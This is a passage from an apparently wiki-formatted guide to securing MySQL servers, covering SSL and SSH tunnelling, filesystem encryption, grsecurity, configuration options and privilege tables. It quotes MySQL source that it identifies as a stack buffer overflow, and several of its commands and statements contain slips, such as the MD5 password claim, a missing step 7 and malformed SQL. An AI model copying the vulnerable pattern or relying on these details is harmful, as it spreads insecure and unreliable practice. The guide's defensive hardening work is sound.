 ssl-cert=$DIR/client-cert.pem&lt;br /&gt;
 ssl-key=$DIR/client-key.pem&lt;br /&gt;
 &amp;lt;...&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [mysqld]&lt;br /&gt;
 ssl-ca=$DIR/cacert.pem&lt;br /&gt;
 ssl-cert=$DIR/server-cert.pem&lt;br /&gt;
 ssl-key=$DIR/server-key.pem&lt;br /&gt;
 &amp;lt;...&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;$DIR&amp;lt;/tt&amp;gt; is to be replaced by the chosen key and certificate directory.&lt;br /&gt;
&lt;br /&gt;
==== OpenSSH ====&lt;br /&gt;
Encrypting network traffic using OpenSSH is done via tunnelling. The advantages of this method are:&lt;br /&gt;
* An existing MySQL configuration has not to be altered&lt;br /&gt;
* There is no administrative overhead for creating and maintaining certificates and keys&lt;br /&gt;
* The tunnel itself is transparant to MySQL since SSH does everything on its&lt;br /&gt;
own&lt;br /&gt;
* Easy setup&lt;br /&gt;
&lt;br /&gt;
However, there are several points which may be seen as disadvantages:&lt;br /&gt;
* The tunnelling mechanism itself has to be done on the client(s), which leads to decentralized administration&lt;br /&gt;
* The calling client(s) require to have a valid system user on the box where the OpenSSH server is running&lt;br /&gt;
* The server machine must run an OpenSSH server (which is the easiest way, but not unconditionally necessary), the clients must have the ssh binary installed&lt;br /&gt;
&lt;br /&gt;
The basic idea is that the &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt; binary on the client(s) opens a socket which is bound to a specific port (3307 in the following example). &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt; encrypts all the traffic, coming through this port and sends it to the OpenSSH server which will perform the decryption transparently and redirect the unecrypted traffic to the port, the MySQL server is listening on.&lt;br /&gt;
&lt;br /&gt;
The MySQL TCP connection a client tries to establish, is done to localhost instead of the MySQL server, to the port number bound my &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On the client side, the following command will set up our OpenSSH tunnel:&lt;br /&gt;
 ssh -L 3307:&amp;lt;MySQL server address&amp;gt;:3306 &amp;lt;username&amp;gt;@&amp;lt;OpenSSH server address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The clients can now connect through localhost the get in touch with the MySQL server:&lt;br /&gt;
 mysql -u &amp;lt;mysql_username&amp;gt; -p -h 127.0.0.1 -P 3307 &lt;br /&gt;
&lt;br /&gt;
Note: The OpenSSH server doesn't mandatorily have to run on the same machine as the database server does. If OpenSSH runs on server A and MySQL on server B, we need to set up an packet redirection, which can be done using &amp;lt;tt&amp;gt;iptablest&amp;lt;/tt&amp;gt; on machine A:&lt;br /&gt;
	echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
	iptables&lt;br /&gt;
		-t nat&lt;br /&gt;
		-A PREROUTING&lt;br /&gt;
		-p tcp&lt;br /&gt;
		--dport 3306&lt;br /&gt;
		-j DNAT&lt;br /&gt;
		--to-destination &amp;lt;address of MySQL server&amp;gt;&lt;br /&gt;
	iptables&lt;br /&gt;
		-t nat&lt;br /&gt;
		-A POSTROUTING&lt;br /&gt;
		-p tcp&lt;br /&gt;
		-d &amp;lt;address of MySQL server&amp;gt;&lt;br /&gt;
		--dport 3306&lt;br /&gt;
		-j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
The statement in line 1 just activates IP packet forwarding in the Linux kernel. The second command activates traffic redirection from the OpenSSH server (where the &amp;lt;tt&amp;gt;iptables&amp;lt;/tt&amp;gt; rulebase is active) to the MySQL database server. Finally, with the third command, we activate masquerading to ensure that responses of the MySQL server are correctly translated and redirected to the calling host (e.g. the MySQL client).&lt;br /&gt;
&lt;br /&gt;
==== OpenVPN ====&lt;br /&gt;
&lt;br /&gt;
=== Encrypting raw databases on filesystem level ===&lt;br /&gt;
As long as the MySQL server is up and running, and keeping track of incoming queries to provide stored data, the database files have to be unencrypted and readable. It’s primarily the job of the DMBS, to only allow authorized users to read and/or write data of certain tables.&lt;br /&gt;
&lt;br /&gt;
Nevertheless, if a harddisk (including backups, tapes, etc.) gets stolen, the stored data is world-readable from every external system. If needed, encryption can solve this problem. Using encryption on filesystem level is quite easy in nowadays 2.6 Linux kernels.&lt;br /&gt;
&lt;br /&gt;
The following section contains two different approaches for encrypting the filesystem, for the first one is quite Linux specific and the second one will run on Windows, Linux and OSX.&lt;br /&gt;
&lt;br /&gt;
==== Linux: dmcrypt ====&lt;br /&gt;
The following steps need to have &amp;lt;tt&amp;gt;losetup&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;cryptsetup&amp;lt;/tt&amp;gt; installed on the System, as well as a kernel which has been built with &amp;lt;tt&amp;gt;CONFIG_DM_CRYPT&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;CONFIG_BLK_DEV_DM&amp;lt;/tt&amp;gt; support (which most of the current kernels have). Most Unices offer the use of encryption, but most of them are not platform independent.&lt;br /&gt;
&lt;br /&gt;
MySQL stores its data in the &amp;lt;tt&amp;gt;$MYSQL_CHROOT/data&amp;lt;/tt&amp;gt; directory, we will now encrypt. We will proceed with the following steps:&lt;br /&gt;
&lt;br /&gt;
# We generate a file with completely randomized content, with the maximum size of the MySQL storage tables (in the following example, 100MiB). If the reserved space points out to be too few, we can simply create a bigger one and transfer the encrypted data later.&lt;br /&gt;
# We create a new loopback-device, which is capable of handling our crypted data-image as harddisk partition.&lt;br /&gt;
# We connect the loopback-device with a so called crypto-target, which encrypts everything which is written onto the target, and decrypts everything which is read from the target, as long as the crypto-target is enabled.&lt;br /&gt;
# Format the crypted data container with a filesystem of our choice (ReiserFS in this case).&lt;br /&gt;
# Mount the crypted container, as it’s ready to use.&lt;br /&gt;
&lt;br /&gt;
These steps are done via the following commands:&lt;br /&gt;
 # dd if=/dev/urandom of=$MYSQL_CHROOT/data.crypt&lt;br /&gt;
 # losetup /dev/loop0 $MYSQL_CHROOT/data.crypt&lt;br /&gt;
 # cryptsetup -y create mysql_data /dev/loop0&lt;br /&gt;
  Enter passphrase: Passphrase&lt;br /&gt;
  Verify passphrase: Passphrase&lt;br /&gt;
 # mkreiserfs /dev/mapper/mysql_data&lt;br /&gt;
 # mount /dev/mapper/mysql_data $MYSQL_CHROOT/data&lt;br /&gt;
&lt;br /&gt;
Now, before starting up the MySQL database server for everyday use, we have to enforce step 2, 3 and 7. Detailed information about the theoretical backgrounds to cryptography may be found in the wonderful reference of Bruce Schneier [Sch05], as well as [Ert03] and [Wae03]. Information on practical filesystem encryption is found in [Pac05].&lt;br /&gt;
&lt;br /&gt;
==== TrueCrypt ====&lt;br /&gt;
Truecrypt has experienced a large hype in the last years since it's very easy to use, focussed for desktop systems and has a graphical user interface. Nevertheless, my own benchmark tests have proven that TrueCrypt's performance is much slower than &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt;, and the data throughput stagnates at about 40% of what &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt; is capable in terms of performance (this has been tested on an Intel Core2 Duo, 2 x 3.2 GHz, 2GiB RAM on SATA2 harddisks using Linux 2.6.23).&lt;br /&gt;
&lt;br /&gt;
The installation of Truecrypt is quite easy since precompiled binaries are available for all supported platforms, including Linux binaries as well as Debian (and Ubuntu) packages.&lt;br /&gt;
&lt;br /&gt;
When starting the software, an easy-to-use graphical dialog appears which should be quite self-explementory.&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt;, also Truecrypt offers two possibilities of creating encrypted volumes:&lt;br /&gt;
* Format a whole partition which is to be filled with encrypted content, or&lt;br /&gt;
* creating a fixed-size container achive file; this file will again be looped back to a pseudo-device which can be accessed by the operating system just like a normal partition.&lt;br /&gt;
&lt;br /&gt;
Interestingly, the latter is the faster alternative, according to the corresponding article on the German IT online news magazine heise.de.&lt;br /&gt;
&lt;br /&gt;
=== Non-realtime encryption routines for database backups ===&lt;br /&gt;
&lt;br /&gt;
== Protection against stack-smashing and other memory corruption attacks ==&lt;br /&gt;
&lt;br /&gt;
=== The main problem with memory ===&lt;br /&gt;
Since MySQL has been written in C (and partly C++), the code is implicitly based upon pointer arithmetics and therefore offers a broad spectrum of possible buffer-overflow vulnerabilities. The most common form of buffer overlows are stack-based smashing attacks, since they're normally much easier to produce than heap-based overflows.&lt;br /&gt;
&lt;br /&gt;
Todays high-level programming languages like Java and C\# follow a conceptional hiding of pointers to the developer, which, spoken generally, leads to more secure code since overflows nearly always sustain upon exploitable pointer structures. Nevertheless I'm going to figure out some possibly insecure code-snippes of the current MySQL version, before describing howto avoid attacks on them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Here's an outtake of &amp;lt;tt&amp;gt;mysql-5.0.45/libmysql/libmysql.c:693&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 my_bool STDCALL mysql_change_user(MYSQL *mysql, const char *user, const char *passwd, const char *db) {&lt;br /&gt;
  char buff[512],*end=buff;&lt;br /&gt;
  int rc;&lt;br /&gt;
  DBUG_ENTER(&amp;quot;mysql_change_user&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  if (!user)&lt;br /&gt;
    user=&amp;quot;&amp;quot;;&lt;br /&gt;
  if (!passwd)&lt;br /&gt;
    passwd=&amp;quot;&amp;quot;;&lt;br /&gt;
  &lt;br /&gt;
  /* Store user into the buffer */&lt;br /&gt;
  end=strmov(end,user)+1;&lt;br /&gt;
&lt;br /&gt;
This code is always executed when the calling application intends to change the current MySQL (DBMS-) user. Like shown in line 4, memory for a character buffer &amp;lt;tt&amp;gt;buff&amp;lt;/tt&amp;gt; is statically allocated with a size of 512 bytes. When strings have to be passed to a function, C only passes pointers to the beginning of the string, which should be terminated by a NULL-byte (00000000 binary), to indicate where the string ends. The function &amp;lt;tt&amp;gt;strmov&amp;lt;/tt&amp;gt; at line 14, which does basically the same like ANSI &amp;lt;tt&amp;gt;strcpy&amp;lt;/tt&amp;gt;, copies the username (passed to &amp;lt;tt&amp;gt;mysql_change_user()&amp;lt;/tt&amp;gt;) in the allocated buffer. However, since the size of the corresponding username has never been checked to be less than 512 bytes, this code represents a classical stack-based buffer overflow.&lt;br /&gt;
&lt;br /&gt;
Moreover, C doesn't has a built-in exception management. If a function fails, is in most cases only shown by the return value. Therefore, not checking the return values of certain, possibly critical, and especially memory mapping functions can be very dangerous and may lead to segmentation faults. The following piece of code shows this (&amp;lt;tt&amp;gt;mysql-5.0.45/innobase/log/log0recv.c:3081&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 log_dir_len = strlen(log_dir);&lt;br /&gt;
 /* reserve space for log_dir, &amp;quot;ib_logfile&amp;quot; and a number */&lt;br /&gt;
 name = memcpy(mem_alloc(log_dir_len + ((sizeof logfilename) + 11)), log_dir, log_dir_len);&lt;br /&gt;
 memcpy(name + log_dir_len, logfilename, sizeof logfilename);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code is part of the InnoDB sources, which attempts to be an journaling ACID-compatible database backend. The developer wants to put the &amp;lt;tt&amp;gt;log_dir&amp;lt;/tt&amp;gt; string into a newly created buffer called &amp;lt;tt&amp;gt;name&amp;lt;/tt&amp;gt;. The memory allocation of &amp;lt;tt&amp;gt;name&amp;lt;/tt&amp;gt; is done within the &amp;lt;tt&amp;gt;memcpy&amp;lt;/tt&amp;gt; call, and the return value is not checked against 0, which would indicate that the memory allocation has failed. In such a situation, the MySQL database server process will probably get killed by the System, since writing to unallocated memory normally leads to a segmentation fault.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Possible solutions: grsecurity under Linux ===&lt;br /&gt;
One possible solution to this problem is &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt;. This software package introduces a couple of patches for the Linux kernel. The most valuable one for our purposes is &amp;lt;tt&amp;gt;PaX&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;PaX&amp;lt;/tt&amp;gt; provides some very desirable functionalities, including:&lt;br /&gt;
* Flagging of certain memory areas (such as the stack of processes) as non-executable. This helps very much since most memory attacks force to corrupt the stack, for this is a quite easy way as compared to exploit vulnerable heap segmets. This means that an exploitation attempt will possibly corrupt the stack, but will not be able to execute arbitrary code, which kind-of guarantees the system's integrity. (However, memory corruptions may lead to software misbehaviour and denial of service).&lt;br /&gt;
* Flagging of memory areas which contain executable machine code as non-writeable. This prevents attacks which are trying to directly access and modify the process' code segment for taking over the execution flow.&lt;br /&gt;
* Providing of ASLR, what means Address Space Layout Randomization. This makes exploitation itself much harder, since most exploits rely on the knowledge of return addresses on the stack (in fact, in most cases, the return pointers of a running procedure which should be overwritten is only estimated; with ASLR, the estimation will be much harder).&lt;br /&gt;
&lt;br /&gt;
Another feature of &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; is Role Based Access Control, what we will not inspect in deeper detail here.&lt;br /&gt;
&lt;br /&gt;
The whole set of patches can be obtained from the [http://www.grsecurity.net/download.php grsecurity] website. The application of the &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; patchset must be done according to the kernel version which should be patched, before recompiling the kernel itself.&lt;br /&gt;
&lt;br /&gt;
The following code demonstrates the download and patching procedure for Linux kernel 2.6.17.7 and &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; 2.1.9.&lt;br /&gt;
&lt;br /&gt;
 cd /usr/src&lt;br /&gt;
 wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.17.7.tar.bz2&lt;br /&gt;
 wget http://grsecurity.org/grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz&lt;br /&gt;
 tar -xjvf linux-2.6.17.7.tar.bz2&lt;br /&gt;
 gunzip &amp;lt; grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz | patch -p0&lt;br /&gt;
&lt;br /&gt;
Afterwards, the kernel (and possibly modules) has to be configured and recompiled as normal. The &amp;lt;tt&amp;gt;grsecurityt&amp;lt;/tt&amp;gt;-related options can be found in the section '''Security''' -&amp;gt; '''grsecurity''', which offers several levels of security.&lt;br /&gt;
&lt;br /&gt;
== Security related configuration attributes ==&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;my.cnf&amp;lt;/tt&amp;gt; file may contain a rich set of possible configuration attributes and values, which can change the behaviour of the MySQL server dramatically. The whole file is basically split up into a couple of different sections, each describing the configuration of a specific MySQL executable which is written within brackets, e.g. &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;mysqldump&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;client&amp;lt;/tt&amp;gt;, etc. We will further focus on &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; only. The whole set of configuration attributes can be achieved in the MySQL sample configuration files, usually found in &amp;lt;tt&amp;gt;$MYSQL/support-files/&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Connectivity ===&lt;br /&gt;
Securing a database server strongly depends on what is expected from the server. One of the most important questions is the need for remote access to the service. If our database server is just needed by local services, we can achieve a very effective security enhancement by disabling TCP/IP networking of our MySQL instance. This is done by activating the &amp;lt;tt&amp;gt;skip-networking&amp;lt;/tt&amp;gt; option. If passed, connections are limited to either UNIX sockets or named pipes.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;max_connections&amp;lt;/tt&amp;gt; defines the maximum of concurrent connections to the server. Note that one of the given amount is always reserved for users with SUPER privileges. Related to this, &amp;lt;tt&amp;gt;max_connect_errors&amp;lt;/tt&amp;gt; defines the maximum of errors which may result upon or during connection establishment per user, before he/she is being banned. Setting this value to about 10 should prevent brute-force attacks.&lt;br /&gt;
&lt;br /&gt;
=== Logging ===&lt;br /&gt;
Turning on the &amp;lt;tt&amp;gt;log&amp;lt;/tt&amp;gt; parameter, makes MySQL enable full query logging. This means, that every MySQL query (even ones with incorrect syntax) is getting logged. This is either good for debugging reasons on the one hand, and very interesting on detecting certain database attacks like SQL-injections on the other hand.&lt;br /&gt;
&lt;br /&gt;
=== Transactions and ACIDness ===&lt;br /&gt;
&amp;lt;tt&amp;gt;transaction_isolation&amp;lt;/tt&amp;gt; defines how MySQL is reacting, if &amp;lt;tt&amp;gt;SELECT&amp;lt;/tt&amp;gt; statements are queried upon possibly uncommitted rows and/or tables (dirty read ). From the security perspective, it’s advisable that this value is set to &amp;lt;tt&amp;gt;REPEATABLE-READ&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;SERIALIZABLE&amp;lt;/tt&amp;gt;, since both ensure ACID-compatiblity.&lt;br /&gt;
&lt;br /&gt;
To guarantee ACID compliance, the instance of MySQL has to use a backend, supporting transactions. This is normally done via the InnoDB engine, so it’s a good idea to set &amp;lt;tt&amp;gt;default_table_type&amp;lt;/tt&amp;gt; to InnoDB. The probably most important factor due to the performance of this storing engine, is the &amp;lt;tt&amp;gt;innodb_buffer_pool_size&amp;lt;/tt&amp;gt;, which caches indexes and row data of InnoDB tables. On a pure high-performance database server, MySQL AB recommends to set this value up to 80% of the available physical memory. In a maximum address-space of 4GiB on a 32 bit architecture, this value may reach more than 3GiB of memory.&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
The MySQL syntax defines a &amp;lt;tt&amp;gt;LOAD DATA&amp;lt;/tt&amp;gt; statement, which provids reading files directly from the filesystem into a table. This command can be very useful for certain administration tasks, but does offer a high potential of attacks. The use of this statement can be prevented by setting &amp;lt;tt&amp;gt;load-infile&amp;lt;/tt&amp;gt; to 0 in the configuration file.&lt;br /&gt;
&lt;br /&gt;
== Inside MySQL: DBMS' access control and privilege management ==&lt;br /&gt;
=== General management table structures ===&lt;br /&gt;
&lt;br /&gt;
MySQL has a built-in access control and privilege management, once more implemented as a relational model in a separate database. Even after freshly installing a database instance, MySQL automatically creates the mysql database which holds 6 tables – 5 of them play a certain role of whether a user is allowed to access database objects (table, row, column, etc) or not. Those access rules may be built upon username, connecting host or the requested database.&lt;br /&gt;
&lt;br /&gt;
[[Image:Mysql_access_control.png|thumb|290px|Schematic presentation of the DMBS' internal accounting and management procedures, as executed by the MySQL database server.]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;user&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
&lt;br /&gt;
The user table is the most important one, since it (besides numerous other things) defines users, their passwords, and the hosts they are allowed to connect from, so are the first 3 columns. The host column also accepts wildcards, like % as the regular expression (.*). The password is never stored in plain text, but normally hashed via the MD5 algorithm. Note that a user/host-pair is used as primary key.&lt;br /&gt;
&lt;br /&gt;
After those initial values, the user table is followed by about two dozen boolean values, giving a more granular description of the permissions granted to the user. The names, like &amp;lt;tt&amp;gt;Insert_priv&amp;lt;/tt&amp;gt;, &amp;lt;/tt&amp;gt;Update_priv&amp;lt;/tt&amp;gt;, etc. are self-speaking. Since those rights have no restriction to certain tables or databases, they should be avoided and set to N, whereever possible, for using more restricting levels of access.&lt;br /&gt;
&lt;br /&gt;
When a query is being processed, the permissions of the user table are checked at first, and the query is immediately granted if the user has sufficient permissions on this layer. The following listing completes the available columns of the user table:&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; use mysql;&lt;br /&gt;
 Database changed&lt;br /&gt;
 mysql&amp;gt; desc user;&lt;br /&gt;
 +-----------------------+----------------+------+-----+&lt;br /&gt;
 | Field                 | Type           | Null | Key |&lt;br /&gt;
 +-----------------------+----------------+------+-----+&lt;br /&gt;
 | Host                  | char(60)       | NO   | PRI |&lt;br /&gt;
 | User                  | char(16)       | NO   | PRI |&lt;br /&gt;
 | Password              | char(41)       | NO   |     |&lt;br /&gt;
 | Select_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Insert_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Update_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Delete_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Drop_priv             | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Reload_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Shutdown_priv         | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Process_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | File_priv             | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Grant_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | References_priv       | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Index_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Alter_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Show_db_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Super_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_tmp_table_priv | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Lock_tables_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Execute_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Repl_slave_priv       | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Repl_client_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_view_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Show_view_priv        | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_routine_priv   | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Alter_routine_priv    | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_user_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | ssl_type              | enum('','ANY','X509','SPECIFIED') | NO   |     |&lt;br /&gt;
 | ssl_cipher            | blob             | NO   |&lt;br /&gt;
 | x509_issuer           | blob             | NO   |&lt;br /&gt;
 | x509_subject          | blob             | NO   |&lt;br /&gt;
 | max_questions         | int(11) unsigned | NO   |&lt;br /&gt;
 | max_updates           | int(11) unsigned | NO   |&lt;br /&gt;
 | max_connections       | int(11) unsigned | NO   |&lt;br /&gt;
 | max_user_connections  | int(11) unsigned | NO   |&lt;br /&gt;
 +-----------------------+------------------+------+&lt;br /&gt;
 37 rows in set (0.01 sec)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As listed, &amp;lt;tt&amp;gt;user&amp;lt;/tt&amp;gt; additionally defines four columns related to cryptographic methods&lt;br /&gt;
like ciphers and certificates, and four columns used for user-specific limitations on&lt;br /&gt;
the database, we will inspect later.&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;db&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
The &amp;lt;tt&amp;gt;db&amp;lt;/tt&amp;gt; table is checked (only), if the user table doesn’t define enough permissions for a user to fully process the query. db again defines username, connecting host, and numerous privileges on a certain database, given by the column &amp;lt;tt&amp;gt;Db&amp;lt;/tt&amp;gt;. This table is only processed, if&lt;br /&gt;
# the user doesn’t has sufficient permissions in the user table, and&lt;br /&gt;
# the user wants to set up a query on a database, defined in the db table.&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;host&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
This is basically the same as the db table, but acting on actual hosts, the query may come from and may be restricted to.&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;tables_priv&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;columns_priv&amp;lt;/tt&amp;gt; tables ====&lt;br /&gt;
The &amp;lt;tt&amp;gt;tables_priv&amp;lt;/tt&amp;gt; table exactly defines the permissions of users on per-table-basis, who may or may not set up select, insert, update, delete, create, drop, grant, references, index and alter commands. Also the Grantor, the timestamp of the GRANT-statement and of course username, database name and hostname are stored here. This is possibly the table where&lt;br /&gt;
user-based restrictions should be done.&lt;br /&gt;
&lt;br /&gt;
In comparison, the columns_priv table is structured like tables_priv, but holds less permissions and additionally defines a column_name column, telling us to which column the restriction/permission is refering.&lt;br /&gt;
&lt;br /&gt;
=== Access management via SQL ===&lt;br /&gt;
&lt;br /&gt;
All permissions and restrictions stored in the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; database, are classically managed via SQL, mainly using GRANT and REVOKE statements. While GRANT statements usually gives a permission to a user, the corresponding REVOKE statement disallows the user to own this certain permission.&lt;br /&gt;
&lt;br /&gt;
A GRANT statement consists of the permissions which are to be set, as well as the database and table it is refering to, and a user/hostname pair. For example:&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT, UPDATE on mysql.user TO root@localhost IDENTIFIED BY 'password'&lt;br /&gt;
&lt;br /&gt;
The REVOKE command is used adequatly. For a detailed description on GRANT and REVOKE you may consider having a look on the official MySQL reference [Vas04].&lt;br /&gt;
&lt;br /&gt;
There is no big difference between setting up permissions via the tables inside the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; database using DML or typing SQL GRANT and REVOKE statements. However, while the latter version will activate the permissions immediately, privilege settings applied by direct DML, deserve reloading the values. This can be done via FLUSH PRIVILEGES.&lt;br /&gt;
&lt;br /&gt;
There a several privileges only used for database administration, namely&lt;br /&gt;
* PROCESS, allowing the user to perform the processlist command,&lt;br /&gt;
* SHUTDOWN, allowing the user to shutdown the MySQL server via the shutdown command,&lt;br /&gt;
* SUPER, allowing the user to perform the kill command for killing certain MySQL threads,&lt;br /&gt;
* RELOAD, allowing the user to perform &amp;lt;tt&amp;gt;flush-hosts&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-logs&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-privileges&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-status&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-tables&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-threads&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;refresh&amp;lt;/tt&amp;gt; as well as &amp;lt;tt&amp;gt;reload&amp;lt;/tt&amp;gt; commands. It's not recommended ever to give one of those permissions to ordinary users.&lt;br /&gt;
&lt;br /&gt;
Note, that these privileges are commonly not used via SQL-statements, but through using the mysqladmin shell command. This is a security related model, since a user who intends to force privilege escalation atempts on the MySQL server, will not be able to use this commands inside the standard MySQL shell. The above rights should be reduced to an absolute minimum of users.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Setting up the &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; password ===&lt;br /&gt;
Outside of the MySQL-shell, the server's administrator is able to execute the program &amp;lt;tt&amp;gt;mysqladmin&amp;lt;/tt&amp;gt;, which allows to set up administrative MySQL-specific tasks outside the DBMS, and partially, even when the database server doesn't actually run.&lt;br /&gt;
&lt;br /&gt;
One of the main tasks you should know about &amp;lt;tt&amp;gt;mysqladmin&amp;lt;/tt&amp;gt; is to set new passwords (typically the password for the root user himself):&lt;br /&gt;
&lt;br /&gt;
 mysqladmin -u root password &amp;lt;password-in-cleartext&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note that username and passwords can have a maximum length of 16 characters each, not more. To perform this task within MySQL, the following SQL-statement would be appropriate:&lt;br /&gt;
&lt;br /&gt;
 UPDATE user SET password = PASSWORD('secret') WHERE user = 'root';&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Tables and security functions ===&lt;br /&gt;
A very useful strategie is to (automatically) include certain security-related information in the main tables of the database model. Assume a table &amp;lt;tt&amp;gt;Customer&amp;lt;/tt&amp;gt;. We will now add a few more columns to this table, providing some logging information:&lt;br /&gt;
  CREATE TABLE Customer (&lt;br /&gt;
    CustomerNo INTEGER AUTO_INCREMENT PRIMARY KEY,&lt;br /&gt;
    Company VARCHAR(100),&lt;br /&gt;
    ...,&lt;br /&gt;
    Created DATETIME,&lt;br /&gt;
    Created_by VARCHAR(80),&lt;br /&gt;
    Updated DATETIME;&lt;br /&gt;
    Updated_by VARCHAR(80),&lt;br /&gt;
    Deleted DATETIME;&lt;br /&gt;
    Deleted_by VARCHAR(80)&lt;br /&gt;
  );&lt;br /&gt;
&lt;br /&gt;
As you may have already found out, we're about to additionally save exactly when who did what on this specific table. You may wonder why the VARCHAR() columns are 80 characters in length while usernames are restricted to a maximum of 16: That's because we'll also save the hostname from which the user is connecting from (max. 60 characters).&lt;br /&gt;
&lt;br /&gt;
When changing this table, the corresponding software should now just set up a statement like:&lt;br /&gt;
  UPDATE Customer&lt;br /&gt;
  SET Company = 'Somename Ltd.',&lt;br /&gt;
    Updated = SYSDATE(),&lt;br /&gt;
    Updated_by = USER()&lt;br /&gt;
  WHERE Company = 'Someothername Ltd.'&lt;br /&gt;
&lt;br /&gt;
If we're about to delete a table, to the same for deletion. It's commonly strongly recommended not to delete anything from an existing database instance. Therefore, when a dataset should be deleted, we just set the deletion date and the user who forced to execute the deletion:&lt;br /&gt;
  UPDATE Customer&lt;br /&gt;
  SET Deleted = SYSDATE(),&lt;br /&gt;
    Deleted_by = USER()&lt;br /&gt;
  WHERE Company = 'Someothername Ltd.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Check table consistencies and repair databases ===&lt;br /&gt;
For tables of type MyISAM (non-ACID) or InnoDB (ACID compliant), MySQL provides CHECK and REPAIR statements for tables. Especially the CHECK-routine can be done in several levels of detail:&lt;br /&gt;
&lt;br /&gt;
 CHECK TABLE Customer [QUICK|FAST|CHANGED|MEDIUM|EXTENDED]&lt;br /&gt;
&lt;br /&gt;
The options differ in several strategies.&lt;br /&gt;
